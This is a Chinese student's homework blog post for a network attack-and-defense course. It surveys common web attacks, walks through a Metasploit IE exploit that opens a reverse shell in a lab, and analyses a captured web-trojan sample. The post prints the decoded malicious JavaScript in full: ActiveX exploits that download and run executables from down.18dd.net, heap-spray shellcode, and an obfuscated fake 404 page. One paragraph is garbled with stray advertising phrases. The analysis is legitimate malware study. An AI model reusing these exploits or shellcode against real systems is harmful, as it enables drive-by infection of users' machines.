本博客属于课程:《网络攻防实践》
本次做业:《第十一周做业》
我在这个课程的目标:掌握知识与技能,加强能力和本领,提升悟性和水平。javascript
1、溢出攻击php
实质上,溢出类攻击是因为将太多的数据放入原 始程序设计人员认为足够的空间中致使的。额外的数据溢出到预期存储区附近的内存中,而且覆盖与该区域的原始用途无关的数据。当执行余下的程序时,它使用新 被覆盖的数据。若是黑客可以用伪数据(也就是,NOP)填充足够的空间,而后添加一点恶意代码或值,那么程序将执行恶意代码或使用新值。这可能致使许多不 同的后果。黑客可能可以越过登陆,得到程序的管理员特权。若是受攻击的程序是由系统管理员启动的,那么恶意代码将做为原始程序的一部分进行执行,给黑客系 统中的管理员特权。溢出脆弱点,尽管不老是出现,但在一些状况下,可能很容易被补救,当开发应用程序时利用“安全”库,使用堆栈保护或对输入数据进行检查,从而确保其是适当的大小或类型。这一类的利用老是以相似的方式进行,但会根据受影响的内存类型和预期效果而不一样html
2、DDOS攻击
分布式拒绝服务攻击(Distributed Denial of Service),简单说就是发送大量请求是使服务器瘫痪。DDos攻击是在DOS攻击基础上的,能够通俗理解,dos是单挑,而ddos是群殴,由于现代技术的发展,dos攻击的杀伤力下降,因此出现了DDOS,攻击者借助公共网络,将大数量的计算机设备联合起来,向一个或多个目标进行攻击。java
3、CSRF跨站点请求伪造(CSRF,Cross-Site Request Forgeries)ios
全称是跨站请求伪造(cross site request forgery),指经过假装成受信任用户的进行访问,通俗的讲就是说我访问了A网站,而后cookie存在了浏览器,而后我又访问了一个流氓网站,不当心点了流氓网站一个连接(向A发送请求),这个时候流氓网站利用了个人身份对A进行了访问。是指攻击者经过已经设置好的陷阱,强制对已完成认证的用户进行非预期的我的信息或设定信息等某些状态的更新。属于被动攻击。更简单的理解就是攻击者盗用了你的名义,以你的名义发送了请求。
因为用户本地存储cookie,攻击者利用用户的cookie进行认证,很容易伪造用户发出请求web
4、SOL注入攻击
是指经过对web链接的数据库发送恶意的SQL语句而产生的攻击,从而产生安全隐患和对网站的威胁,能够形成逃过验证或者私密信息泄露等危害。SQL注入的原理是经过在对SQL语句调用方式上的疏漏,恶意注入SQL语句。算法
5、XSS攻击(Cross-Site scripting)
跨站脚本攻击,是指在经过注册的网站用户的浏览器内运行非法的HTML标签或javascript,从而达到攻击的目的,如盗取用户的cookie,改变网页的DOM结构,重定向到其余网页等。shell
6、网页挂马数据库
网页挂马的实质是2015年澳洲移民政策利用漏洞向用户传播木美国研究生申请指南马下载器,当咱们更清2015年澳洲移民政策楚了这点就能作到有效澳大利亚读研条件页木马就是网页恶意软留学加拿大条件木马就是网页恶意软件威胁的罪魁祸首,和你们印象中的不一样,准确的说,网页木马并非木马程序,而应该称为网页木马“种植器”,也即一种经过攻击浏览器或浏览器外挂程序(目标一般是IE浏览器和ActiveX程序)的漏洞,向目标用户机器植入木马、病毒、密码盗取等恶意程序的手段。
目前攻击者构建网页木马所使用的IE浏览器漏洞,包括最新的MS07004 VML漏洞,都是利用构造大量数据溢出浏览器或组件的缓冲区来执行攻击代码的,所以,用户遭受溢出类的网页木马的攻击时,一般系统的反应会变得十分缓慢,CPU占用率很高,浏览器窗口没有响应,也没法使用任务管理器强行关闭。另外,在一些内存小于512M的系统上,溢出类的网页木马攻击时,系统会频繁的对磁盘进行读写操做(物理内存不够用,系统自动扩大虚拟内存)。
进程变化状况:
有少数的IE浏览器漏洞不属于缓冲区溢出的漏洞,好比去年初出现的MS06014 XML漏洞,用户在遭受使用它所构造的网页木马的攻击时,系统反应不会有明显的变化或者磁盘读写,顶多有时会短暂出现系统等待的沙漏图标,不过期间很短,用户一不留意就会错过。这种状况下,用户能够打开任务管理器或使用Process Explorer,查看是否有非用户启动的Iexplore.exe进程、名字比较奇怪的进程等来判断是否遭受了网页木马的攻击。
浏览器显示:
攻击者在使用网页木马的被动攻击方式时,一般会在被其控制的合法网站上使用HTML中的iframe语句或java script方式来调用网页木马,若是用户在打开某个合法网站时,发现IE浏览器左下角的状态栏一直显示一个和当前浏览网站一点关系都没有的地址,同时系统响应变得很慢,或者是鼠标指针变成沙漏形状,便有可能正在遭受网页木马的攻击。json
应对网页木马最根本的防范措施与应对传统渗透攻击同样,就是提高操做系统与浏览端平台软件的安全性,能够釆用操做系统自己提供的在线更新以及第三方软件所提供的经常使用应用软件更新机制,来确保所使用的计算机始终处于一种相对安全的状态;另外安装与实时更新一款优秀的反病毒软件也是应对网页木马威胁必不可少的环节,同时养成安全上网浏览的良好习惯,并借助于Google安全浏览、SiteAdvisor等站点安全评估工具的帮助,避免访问那些可能遭遇挂马或者安全性不高的网站,能够有效地下降被网页木马渗透攻击的几率;最后,在目前网页木马威胁主要危害Windows平台和IE浏览器用户的状况下,或许安装MacOS/Linux操做系统,并使用Chrome、Safari、Opera等冷门浏览器进行上网,作互联网网民中特立独行的少数派,能够有效地避免网页木马的侵扰。
1、D盾_Web查杀
软件使用自行研发不分扩展名的代码分析引擎,能分析更为隐藏的WebShell后门行为。引擎特别针对一句话后门,变量函数后门,${}执行 、preg_replace执行、call_user_func、file_put_contents、fputs等特殊函数的参数进行针对性的识别,能查杀更为隐藏的后门,并把可疑的参数信息展示在你面前,让你能更快速的了解后门的状况,还加入隔离功能,而且能够还原!
D盾_Web查杀官方下载地址:http://www.d99net.net/down/WebShellKill_V2.0.9.zip
2、WebShellkiller
WebShellkiller做为一款web后门专杀工具,不只支持webshell的扫描,同时还支持暗链的扫描。这是一款融合了多重检测引擎的查杀工具。在传统正则匹配的基础上,采用模拟执行,参数动态分析监测技术、webshell语义分析技术、暗链隐藏特征分析技术,并根据webshell的行为模式构建了基于机器学习的智能检测模型。传统技术与人工智能技术相结合、静态扫描和动态分析相结合,更精准地检测出WEB网站已知和未知的后门文件。
WebShellkiller官方下载地址:http://edr.sangfor.com.cn/tool/WebShellKillerTool.zip
3、河马查杀
http://www.shellpub.com/
http://www.webshell.pub/
4、百度WebShell检测
https://scanner.baidu.com/
5、WebShell 检测工具
http://edr.sangfor.com.cn/backdoor_detection.html
常见的网络钓鱼手段
“网络钓鱼”的主要伎俩在于仿冒某些公司的网站或电子邮件,而后对其中的程序代码动手脚,若是使用者信觉得真地按其连接和要求填入我的重要资料,资料将被传送到诈骗者手中。实际上,不法分子在实施网络诈骗的犯罪活动过程当中,常常采起以上几种手法交织、配合进行,还有的经过手机短信、QQ、MSN进行各类各样的“网络钓鱼”不法活动。固然,也有一个游戏叫网络钓鱼,也蛮好玩得.
一 发送电子邮件,以虚假信息引诱用户中圈套。 诈骗分子以垃圾邮件的形式大量发送欺诈性邮件,这些邮件多以中奖、顾问、对账等内容引诱用户在邮件中填入金融帐号和密码,或是以各类紧迫的理由要求收件人登陆某网页提交用户名、密码、身份证号、信用卡号等信息,继而盗窃用户资金。
黑客先准备好一个网页,网页由ASP或PHP等脚本语言编写。这个网页能够先期用webdump等软件把真正的招商银行等网站扒下来。而后经过本身写的脚本程序,实现自动记录用户输入的卡号和密码。
二创建假冒网上银行、网上证券网站,骗取用户账号密码实施盗窃。 犯罪分子创建起域名和网页内容都与真正网上银行系统、网上证券交易平台极为类似的网站,引诱用户输入帐号密码等信息,进而经过真正的网上银行、网上证券系统或者伪造银行储蓄卡、证券交易卡盗窃资金;还有的利用跨站脚本,即利用合法网站服务器程序上的漏洞,在站点的某些网页中插入恶意Html代码,屏蔽住一些能够用来辨别网站真假的重要信息,利用cookies窃取用户信息。
如曾出现过的某假冒银行网站,网址为[url]http://www.1cbc.com.cn[/url] ,而真正银行网站是[url]http://www.icbc.com.cn[/url] ,犯罪分子利用数字1和字母i很是相近的特色企图蒙蔽粗心的用户。
又如2004年7月发现的假联想公司网站(网址为[url]http://www.1enovo.com[/url] ),而真正网站为[url]http://www.lenovo.com[/url] ,诈骗者利用了小写字母l和数字1很相近的障眼法。诈骗者经过QQ散布“联想集团和腾讯公司联合赠送QQ币”的虚假消息,引诱用户访问。而一旦用户访问该网站,首先生成一个弹出窗口,上面显示“免费赠送QQ币”的虚假消息。而就在该弹出窗口出现的同时,恶意网站主页面在后台即经过多种IE漏洞下载病毒程序 lenovo.exe(TrojanDownloader.Rlay),并在2秒钟后自动转向到真正网站主页,用户在毫无觉察中就感染了病毒。病毒程序执行后,将下载该网站上的另外一个病毒程序bbs5.exe,用来窃取用户的传奇账号、密码和游戏装备。当用户经过QQ聊天时,还会自动发送包含恶意网址的消息。
三 利用虚假的电子商务进行诈骗。 此类犯罪活动每每是创建电子商务网站,或是在比较知名、大型的电子商务网站上发布虚假的商品销售信息,犯罪分子在收到受害人的购物汇款后就销声匿迹。如2003年,罪犯佘某创建“奇特器材网”网站,发布出售间谍器材、黑客工具等虚假信息,诱骗顾主将购货款汇入其用虚假身份在多个银行开立的账户,而后转移钱款的案件。除少数不法分子本身创建电子商务网站外,大部分人采用在知名电子商务网站上,如“易趣”、“淘宝”、“阿里巴巴”等,发布虚假信息,以所谓“超低价”、“免税”、“走私货”、“慈善义卖”的名义出售各类产品,或以次充好,以走私货充行货,不少人在低价的诱惑下上当受骗。网上交易可能是异地交易,一般须要汇款。不法分子通常要求消费者先付部分款,再以各类理由诱骗消费者付余款或者其余各类名目的款项,获得钱款或被识破时,就当即切断与消费者的联系。
防范措施:
1.中止共享敏感信息。若是员工已经泄露了敏感的信息,应当即报告。企业要教育员工当即与经理、服务台工做人员,或与网络管理员、安全人员联系。后者要采起措施更改口令,或监视网络的异常活动。
2.请求银行等机构采起措施。若是员工共享了财务信息,或认为财务信息遭到了泄露,应当即与相关机构联系。请求其监视帐户的异常活动和费用,甚至在必要时关闭帐户。
3.保护口令。若是怀疑口令遭到了泄露,应当即更改。公司应教育员工不能在多个系统或帐户上使用相同的口令。要尽最大努力确保全部的口令都彻底不一样。
微型加密算法(Tiny Encryption Algorithm,TEA)是一种易于描述和执行的块密码,一般只须要不多的代码就可实现。其设计者是剑桥大学计算机实验室的大卫·惠勒与罗杰·尼达姆。这项技术最初于1994年提交给鲁汶的快速软件加密的研讨会上,并在该研讨会上演讲中首次发表。
在给出的代码中:加密使用的数据为2个32位无符号整数,密钥为4个32位无符号整数即密钥长度为128位。
而XXTEA则是TEA的升级版,其具体加密过程吐下图所示:
加密代码以下:
#include <stdio.h> #include <stdint.h> #define DELTA 0x9e3779b9 #define MX (((z>>5^y<<2) + (y>>3^z<<4)) ^ ((sum^y) + (key[(p&3)^e] ^ z))) void btea(uint32_t *v, int n, uint32_t const key[4]) { uint32_t y, z, sum; unsigned p, rounds, e; if (n > 1) /* Coding Part */ { rounds = 6 + 52/n; sum = 0; z = v[n-1]; do { sum += DELTA; e = (sum >> 2) & 3; for (p=0; p<n-1; p++) { y = v[p+1]; z = v[p] += MX; } y = v[0]; z = v[n-1] += MX; } while (--rounds); } else if (n < -1) /* Decoding Part */ { n = -n; rounds = 6 + 52/n; sum = rounds*DELTA; y = v[0]; do { e = (sum >> 2) & 3; for (p=n-1; p>0; p--) { z = v[p-1]; y = v[p] -= MX; } z = v[n-1]; y = v[0] -= MX; sum -= DELTA; } while (--rounds); } } int main() { uint32_t v[2]= {1,2}; uint32_t const k[4]= {2,2,3,4}; int n= 2; //n的绝对值表示v的长度,取正表示加密,取负表示解密 // v为要加密的数据是两个32位无符号整数 // k为加密解密密钥,为4个32位无符号整数,即密钥长度为128位 printf("加密前原始数据:%u %u\n",v[0],v[1]); btea(v, n, k); printf("加密后的数据:%u %u\n",v[0],v[1]); btea(v, -n, k); printf("解密后的数据:%u %u\n",v[0],v[1]); return 0; }
按照往常的方法,以控制台方式打开msfconsole软件
search ms06-014后使用其提供的攻击脚本use exploit/windows/browser/ie_createobject
这个脚本利用网页经过浏览器作tcp反弹窗口木马,让人们链接到这个网站的同时创建起与攻击机的tcp连接,使得攻击机可以轻易地获取靶机的shell操做权限,并经过shellcode来进行操做。
设置好一切准备工做后,操做靶机登入这个网址,提示为一串字符串,若是咱们能作好隐藏工做,能减小被发现的几率。
sessions -i用于显示咱们已经创建的连接信息,sessions -i 1则是选择创建起的id为1的连接回话,咱们进入这个回话才可以操控靶机。
这里咱们已经成功登录了靶机,并显示了靶机的各类信息例如ip:192.168.220.3(攻击机ip:192.168.220.4)
这个挂马网站如今已经没法访问了,但蜜网课题组的成员保留了最初作分析时全部的原始文件。首先你应该访问 start.html,在这个文件中给出了 new09.htm 的地址,在进入 new09.htm后 ,每解密出一个文件地址 , 请对其做32位MD5散列 ,以散列值为文件名到http://192.168.68.253/scom/hashed/目录下去下载对应的文件(注意:文件名中的英文字母为小写, 且没有扩展名),即为解密出的地址对应的文件。若是解密出的地址给出的是网页或脚本文件,请继续解密;若是解密出的地址是二进制程序文件,请进行静态反汇编或动态调试。重复以上过程直到这些文件被所有分析完成。请注意:被散列的文件地址应该是标准的 URL形式,形如 http://xx.18dd.net/a/b.htm,不然会致使散列值计算不正确而没法继续。
问题:
1.试述你是如何一步步地从所给的网页中获取最后的真实代码的?
2.网页和 JavaScript 代码中都使用了什么样的加密方法?你是如何解密的?
3.从解密后的结果来看,攻击者利用了那些系统漏洞?
4.解密后发现了多少个可执行文件?其做用是什么?
5.这些可执行文件中有下载器么?若是有,它们下载了哪些程序?这些程序又是什么做用的?
(start.html这个文件位置在ptf文档中描述为192.168.68.253/scon/start.html,可是很遗憾如今已经打不开了)
这里贴出解码后的 JavaScript 代码(解除了XXTEA加密,并将其中用64进制ACCII码表示的字符全转为字符形式,咱们本次做业在此基础上进行分析,解码过程见附录)
function init(){document.write();} window.onload = init; if(document.cookie.indexOf('OK')==-1){ try{var e; var ado=(document.createElement("object")); ado.setAttribute("classid","clsid:BD96C556-65A3-11D0-983A-00C04FC29E36"); var as=ado.createobject("Adodb.Stream","")} catch(e){}; finally{ var expires=new Date(); expires.setTime(expires.getTime()+24*60*60*1000); document.cookie='ce=windowsxp;path=/;expires='+expires.toGMTString(); if(e!="[object Error]"){ document.write("<script src=http:\/\/aa.18dd.net\/aa\/1.js><\/script>")} else{ try{var f;var storm=new ActiveXObject("MPS.StormPlayer");} catch(f){}; finally{if(f!="[object Error]"){ document.write("<script src=http:\/\/aa.18dd.net\/aa\/b.js><\/script>")}} try{var g;var pps=new ActiveXObject("POWERPLAYER.PowerPlayerCtrl.1");} catch(g){}; finally{if(g!="[object Error]"){ document.write("<script src=http:\/\/aa.18dd.net\/aa\/pps.js><\/script>")}} try{var h;var obj=new ActiveXObject("BaiduBar.Tool");} catch(h){}; finally{if(h!="[object Error]"){ obj.DloadDS("http://down.18dd.net/bb/bd.cab", "bd.exe", 0)}} }}}
对这段JavaScript进行简要分析,这段js代码一眼看去就很不健康,看到利用到的应用程序漏洞有不少:例如:Adodb.Stream 微软数据库访问对象漏洞,MPS.StormPlayer 暴风影音漏洞,POWERPLAYER.PowerPlayerCtrl.1 PPStream漏洞,BaiduBar.Tool 百度搜霸漏洞,而且,攻击者还经过js让访问者转发访问http://down.18dd.net/bb/bd.cab", 下载了一个文件"bd.exe"和一个“bd.cab"后者是一个压缩文件
如何区分哪一个网址对应是哪一个文件呢?请出MD5来为咱们解答:
咱们找出这个名为5D7E9058A857AA2ABEE820D5473C5FA4的文件,就能够看到这个MPS.StormPlayer 暴风影音漏洞的木马文件。(64进制下的accii码,能够在word中一键转换\x64为\u0064的形式,而后再放进在线转换工具里,就能够转换出源码了)
var url="http://down.18dd.net/bb/014.exe"; try{ var xml=ado.CreateObject("Microsoft.XMLHTTP",""); xml.Open("GET",url,0); xml.Send(); as.type=1; as.open(); as.write(xml.responseBody); path="..\\ntuser.com";as.savetofile(path,2); as.close(); var shell=ado.createobject("Shell.Application",""); shell.ShellExecute("cmd.exe","/c "+path,"","open",0)} catch(e){}
咱们能够看出,这段代码建立了一个对该漏洞的利用,这个是014号运行文件,同理咱们能够获取剩下四个漏洞利用的源代码
下面是http://aa.18dd.net/aa/b.js,也就是对POWERPLAYER.PowerPlayerCtrl.1 PPStream漏洞的利用
加密源码头上就写了Pack,真是生怕不知道人家是pack加密,用工具解密以后就看到了中间双引号""之间的内容为shellcode,其他部分经过pack解密就能够看到源码
u6643 = unescape("%u9090%u9090"); undefined = 20; var shellcode = unescape("%uf3e9%u0000" + "%u9000%u9090%u5a90%ua164%u0030%u0000%u408b%u8b0c" + "%u1c70%u8bad%u0840%ud88b%u738b%u8b3c%u1e74%u0378" + "%u8bf3%u207e%ufb03%u4e8b%u3314%u56ed%u5157%u3f8b" + "%ufb03%uf28b%u0e6a%uf359%u74a6%u5908%u835f%ufcef" + "%ue245%u59e9%u5e5f%ucd8b%u468b%u0324%ud1c3%u03e1" + "%u33c1%u66c9%u088b%u468b%u031c%uc1c3%u02e1%uc103" + "%u008b%uc303%ufa8b%uf78b%uc683%u8b0e%u6ad0%u5904" + "%u6ae8%u0000%u8300%u0dc6%u5652%u57ff%u5afc%ud88b" + "%u016a%ue859%u0057%u0000%uc683%u5613%u8046%u803e" + "%ufa75%u3680%u5e80%uec83%u8b40%uc7dc%u6303%u646d" + "%u4320%u4343%u6643%u03c7%u632f%u4343%u03c6%u4320" + "%u206a%uff53%uec57%u04c7%u5c03%u2e61%uc765%u0344" + "%u7804%u0065%u3300%u50c0%u5350%u5056%u57ff%u8bfc" + "%u6adc%u5300%u57ff%u68f0%u2451%u0040%uff58%u33d0" + "%uacc0%uc085%uf975%u5251%u5356%ud2ff%u595a%ue2ab" + "%u33ee%uc3c0%u0ce8%uffff%u47ff%u7465%u7250%u636f" + "%u6441%u7264%u7365%u0073%u6547%u5374%u7379%u6574" + "%u446d%u7269%u6365%u6f74%u7972%u0041%u6957%u456e" + "%u6578%u0063%u7845%u7469%u6854%u6572%u6461%u4c00" + "%u616f%u4c64%u6269%u6172%u7972%u0041%u7275%u6d6c" + "%u6e6f%u5500%u4c52%u6f44%u6e77%u6f6c%u6461%u6f54" + "%u6946%u656c%u0041%u7468%u7074%u2f3a%u642f%u776f%u2e6e%u3831%u6464%u6e2e%u7465%u622f%u2f62%u6662%u652e%u6578%u0000"); var slackspace = headersize + shellcode.length; while (bigblock.length < slackspace) bigblock += bigblock; fillblock = bigblock.substring(0, slackspace); block = bigblock.substring(0, bigblock.length - slackspace); while (block.length + slackspace < 0x40000) block = block + block + fillblock; memory = new Array(); for (x = 0; x < 300; x++) memory[x] = block + shellcode; var buffer = ''; while (buffer.length < 4068) buffer += "\x0a\x0a\x0a\x0a"; storm.rawParse(buffer)
中间那段以双引号加百分号构成的代码,是经过escape加密的代码,按照JavaScript的代码理解:var shellcode = unescape("%uf3e9%u……是要经过unescape来解密出shellcode,可是这段代码,我放在任何一个unexcape解密软件中都未能获取其shellcode真正想要的东西,
后来想明白了,这段代码的顺序可能不太对,就像上次作逆向的时候,代码的顺序颇有问题,真正在机器里执行的顺序有待商榷
这里采用取巧的办法,咱们不妨来找找 URL 中必然出现的斜线“//”,因为shellcode这么短,通常想到的就是下载一个后门木马,来进行攻击,因此访问的网址中//必不可少,“//”的十六进制 ASCII 码是 2F,两个就是连着两个2F,筛选一下再进行转缓就获得了http://down.18dd.net/bb/bf.exe,方法同上,咱们进行MD5运算,获得其文件名,这个268CBD59FBED235F6CF6B41B92B03F8E就是对POWERPLAYER.PowerPlayerCtrl.1 PPStream漏洞的利用,意图用其下载另外一个木马可执行软件名为bf.exe
接下来是利用BaiduBar.Tool 百度搜霸漏洞进行的第三个访问页面:http://aa.18dd.net/aa/pps.js,一样md5运算后获得文件名:5F0B8BF0385314DBE0E5EC95E6ABEDC2,小本本打开以下:
这回是八进制,一样解密获得结果(我删除了文件头的注释,而后和第二个解法相似,找到//)
这回访问的是http://down.18dd.net/bb/pps.exe
一样,对这个网址进行MD5运算能够找到其hash文件名,这里不赘述
(在可执行程序的文件夹里也能够直接找到他)
=>
pps = (document.createElement("object")); pps.setAttribute("classid", "clsid:5EC7C511-CD0F-42E6-830C-1BD9882F3458") var shellcode = unescape("%uf3e9%u0000" + "%u9000%u9090%u5a90%ua164%u0030%u0000%u408b%u8b0c" + "%u1c70%u8bad%u0840%ud88b%u738b%u8b3c%u1e74%u0378" + "%u8bf3%u207e%ufb03%u4e8b%u3314%u56ed%u5157%u3f8b" + "%ufb03%uf28b%u0e6a%uf359%u74a6%u5908%u835f%u04c7" + "%ue245%u59e9%u5e5f%ucd8b%u468b%u0324%ud1c3%u03e1" + "%u33c1%u66c9%u088b%u468b%u031c%uc1c3%u02e1%uc103" + "%u008b%uc303%ufa8b%uf78b%uc683%u8b0e%u6ad0%u5904" + "%u6ae8%u0000%u8300%u0dc6%u5652%u57ff%u5afc%ud88b" + "%u016a%ue859%u0057%u0000%uc683%u5613%u8046%u803e" + "%ufa75%u3680%u5e80%uec83%u8b40%uc7dc%u6303%u646d" + "%u4320%u4343%u6643%u03c7%u632f%u4343%u03c6%u4320" + "%u206a%uff53%uec57%u04c7%u5c03%u2e61%uc765%u0344" + "%u7804%u0065%u3300%u50c0%u5350%u5056%u57ff%u8bfc" + "%u6adc%u5300%u57ff%u68f0%u2451%u0040%uff58%u33d0" + "%uacc0%uc085%uf975%u5251%u5356%ud2ff%u595a%ue2ab" + "%u33ee%uc3c0%u0ce8%uffff%u47ff%u7465%u7250%u636f" + "%u6441%u7264%u7365%u0073%u6547%u5374%u7379%u6574" + "%u446d%u7269%u6365%u6f74%u7972%u0041%u6957%u456e" + "%u6578%u0063%u7845%u7469%u6854%u6572%u6461%u4c00" + "%u616f%u4c64%u6269%u6172%u7972%u0041%u7275%u6d6c" + "%u6e6f%u5500%u4c52%u6f44%u6e77%u6f6c%u6461%u6f54" + "%u6946%u656c%u0041%u7468%u7074%u2f3a%u642f%u776f%u2e6e%u3831%u6464%u6e2e%u7465%u622f%u2f62%u7070%u2e73%u7865%u0065"); var bigblock = unescape("%u9090%u9090"); var headersize = 20; var slackspace = headersize + shellcode.length; while (bigblock.length < slackspace) bigblock += bigblock; fillblock = bigblock.substring(0, slackspace); block = bigblock.substring(0, bigblock.length - slackspace); while (block.length + slackspace < 0x40000) block = block + block + fillblock; memory = new Array(); for (x = 0; x < 400; x++) memory[x] = block + shellcode; var buffer = ''; while (buffer.length < 500) buffer += "\x0a\x0a\x0a\x0a"; pps.Logo = buffer
最后咱们来到最后一个压缩文件的网址http://down.18dd.net/bb/bd.cab,对应hash值为:1C1D7B3539A617517C49EEE4120783B2
找到他,小本本打开它:猛然发现,他貌似不是一个js代码,看看他cab的后缀应该是个压缩包,解压事后就是那个名为bd.exe的文件
到如今咱们获得了四个exe文件,014.exe,bf.exe,pps.exe,bd.exe
抱着试一试的态度,想看看这些木马的源码是什么样子,先扫一扫看有没有壳,PEID一扫pps.exe可不得了,妈耶,传说中的原生壳,无人可破,惋惜看不到源码什么样了。。。
可是!IDA仍是能给他编译出来(不得不说的一点是,这三个文件同样大,IDA走一遍后破案了,这四个exe是同样的)pps.exe,运行以后,疯狂下载文件,没错,剩下那些0~19都是这个木马软件下下来的,这玩意还修改了个人注册表,个人虚拟机真是愈来愈卡了
目标:
1.列出在捕获文件中的应用层协议类型,你认为攻击是针对哪一个或哪些协议的?
2. 列出捕获文件中的IP地址、主机名和域名。从这些信息中你能猜出攻击场景的环
境配置状况吗?
3. 列出捕获文件中的全部网页页面,其中哪些页面包含了可疑的、多是恶意的
JavaScript脚本代码?谁在链接这些页面?请描述恶意网页的攻击目的?
4. 请给出攻击者执行攻击动做的概要描述。
5. 攻击者引入了哪些技巧给你的分析带来了困难,请提供在以前问题中识别的恶意
JavaScript脚本内容,并对它们进行解码或解密。
6. 攻击者的目标是哪一个操做系统,哪些应用软件,哪些安全漏洞?如何阻止这些攻击?
7. Shellcode执行了哪些动做?请列岀Shellcode的MD5,并比较它们之间的差别?
8. 在攻击场景中有二进制可执行恶意代码参与吗?它们的目的是什么?
wireshark分析的有威胁的报文,最多的是针对http协议的,以下图所示:
使用chaosreader也能够看出相同的结果,并且给的更清晰,能够看出好几个攻击都是netbios,确实存在风险。
cat "$i" | grep 'http:\ ' | awk '{print $2}' | cut -d ':' -f1
; dstip=cat "$i" | grep 'http:\ ' | awk '{print $4}' | cut -d ':' -f1
; host=cat "$i" | grep 'Host:\ ' | sort -u | sed -e 's/Host:\ //g'
; echo "$srcip --> $dstip = $host"; done | sort打开文件夹,文件有不少,
打开session_0006.part_01.html,这是一个登陆界面,单纯看他看不出来什么
看到这以为他就是一个钓鱼网站,它以0美圆的价格让你占便宜,实际上就是为了钓你的“鱼”,可是目前还没找出他的攻击方式
到了这里就出现了,以前咱们分析的JavaScript网页挂载的攻击手段,因此大致上应该是先由购物页面引诱你上钩,再让你输入帐号密码登陆,最后再假装404让你意识不到本身被攻击了,实际上已经将木马投放到你的电脑了。
下面是这个假装的404页面的代码(中间那段javascript代码对于一个404页面来讲彻底不必)
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <meta name="robots" content="noindex"> <title>404 Not Found</title> </head><body> <h1>Not Found</h1> <p>The requested URL /fg/show.php was not found on this server.</p> <script language='JavaScript'> var CRYPT = { signature: 'CGerjg56R', _keyStr: 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=', decode: function(input) { var output = ''; var chr1, chr2, chr3; var enc1, enc2, enc3, enc4; var i = 0; input = input.replace(/[^A-Za-z0-9\+\/\=]/g, ''); while (i < input.length) { enc1 = this._keyStr.indexOf(input.charAt(i++)); enc2 = this._keyStr.indexOf(input.charAt(i++)); enc3 = this._keyStr.indexOf(input.charAt(i++)); enc4 = this._keyStr.indexOf(input.charAt(i++)); chr1 = (enc1 << 2) | (enc2 >> 4); chr2 = ((enc2 & 15) << 4) | (enc3 >> 2); chr3 = ((enc3 & 3) << 6) | enc4; output = output + String.fromCharCode(chr1); if (enc3 != 64) { output = output + String.fromCharCode(chr2); } if (enc4 != 64) { output = output + String.fromCharCode(chr3); } } output = CRYPT._utf8_decode(output); return output; }, _utf8_decode: function(utftext) { var string = ''; var i = 0; var c = 0, c1 = 0, c2 = 0, c3 = 0; while (i < utftext.length) { c = utftext.charCodeAt(i); if (c < 128) { string += String.fromCharCode(c); i++; } else if ((c > 191) && (c < 224)) { c2 = utftext.charCodeAt(i + 1); string += String.fromCharCode(((c & 31) << 6) | (c2 & 63)); i += 2; } else { c2 = utftext.charCodeAt(i + 1); c3 = utftext.charCodeAt(i + 2); string += String.fromCharCode(((c & 15) << 12) | ((c2 & 63) << 6) | (c3 & 63)); i += 3; } } return string; }, obfuscate: function(str) { var container = ''; for (var i = 0, z = 0; i < str.length; i = i + 3, z++) { container += String.fromCharCode(str.substring(i, i + 3) - this.signature.substring(z % this.signature.length, z % this.signature.length + 1).charCodeAt(0)); } return CRYPT.decode(container); } } eval(CRYPT.obfuscate('157181187231195154135166180117123204195156160169153153187179201185191214128142198189161189196191200140103190165122187162181170153169180117149205214177211171152187120182200223192212126122130170144210184211201104140130146180175229195190106168156188190222191174168172129166183128168223196152151163160115168188171223176122132193157158179228189189118165157155187151203194176156153191153191181201159152151125201122171173188159204104128190166155150231196191152157163154149149211194193161141151124176198223192209153121185172155189192158201140173203143179205192190172157139168137136206189190219110143132137119190164209214143137190122171173188159204104128190166155150231196191152157163154149149211194193161141151124176198223192209153121185172155188222212202162111204165121191162182211157132166136175186200176168158129166183128190164176151142104185178161184222161203125128135168122175222205187102171172155170204201175152130137154149119200184180211152142168175170152195217178137170139156121171162195153156165172150179156216194152110121191175180176186180211152138130124169211200221201120162203157159183163205212105159159134144156213215189173130191124190191201158214126161182137157168187221176158111191157192158236203174110105158177137212213174160163144170149173190201218207154122130187145211187163176158170160156159183225182213127158180176153219212189206165130153157175199186184211128138198188161189183223202103140199157138205231206190173169157151187213204211207174144170136188200223192225152125139184170151200191193141158130147155149219183186126166183118145209214178189174152187133119200224192211132105131175169173192214204104128190167143187235204208119163171154191223204190219110156163179139199164155222151125168115161184217218182172115143'));
另外,和段代码后面还有一段是加密过的,经过格式来看仅为数字,没有任何分隔符\或者%,能够推测这是一段加密过的二级制代码,这段代码极可能是另外一个攻击软件的下载代码。
这个是shellcode作到的事情,经过利用IE浏览器的漏洞,来进行各类操做,这个攻击是针对32位windows系统的,甚至能够看到针对的是i386的核心。
另外,这个攻击中有二进制可执行恶意代码参与,就是上述代码最后一段
一、MD5在线:http://tool.chinaz.com/tools/md5.aspx
二、JavaScript加解密综合工具http://www.oicqzone.com/tool/eval/(好用没毛病)
三、站长escape/unescape加解密工具:http://tool.chinaz.com/tools/escape.aspx
四、unicode加解密工具:https://www.sojson.com/unicode.html
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN"> <html dir=ltr> <head> <style> a:link {font:9pt/11pt 宋体; color:FF0000} a:visited {font:9pt/11pt 宋体; color:#4e4e4e} </style> <META NAME="ROBOTS" CONTENT="NOINDEX"> <title>找不到网页</title> <META HTTP-EQUIV="Content-Type" Content="text-html; charset=gb2312"> </head> <script> function Homepage(){ <!-- // in real bits, urls get returned to our script like this: // res://shdocvw.dll/http_404.htm#http://www.DocURL.com/bar.htm //For testing use DocURL = "res://shdocvw.dll/http_404.htm#https://www.microsoft.com/bar.htm" DocURL = document.URL; //this is where the http or https will be, as found by searching for :// but skipping the res:// protocolIndex=DocURL.indexOf("://",4); //this finds the ending slash for the domain server serverIndex=DocURL.indexOf("/",protocolIndex + 3); //for the href, we need a valid URL to the domain. We search for the # symbol to find the begining //of the true URL, and add 1 to skip it - this is the BeginURL value. We use serverIndex as the end marker. //urlresult=DocURL.substring(protocolIndex - 4,serverIndex); BeginURL=DocURL.indexOf("#",1) + 1; urlresult="new09.htm"; //for display, we need to skip after http://, and go to the next slash displayresult=DocURL.substring(protocolIndex + 3 ,serverIndex); InsertElementAnchor(urlresult, displayresult); } function HtmlEncode(text) { return text.replace(/&/g, '&').replace(/'/g, '"').replace(/</g, 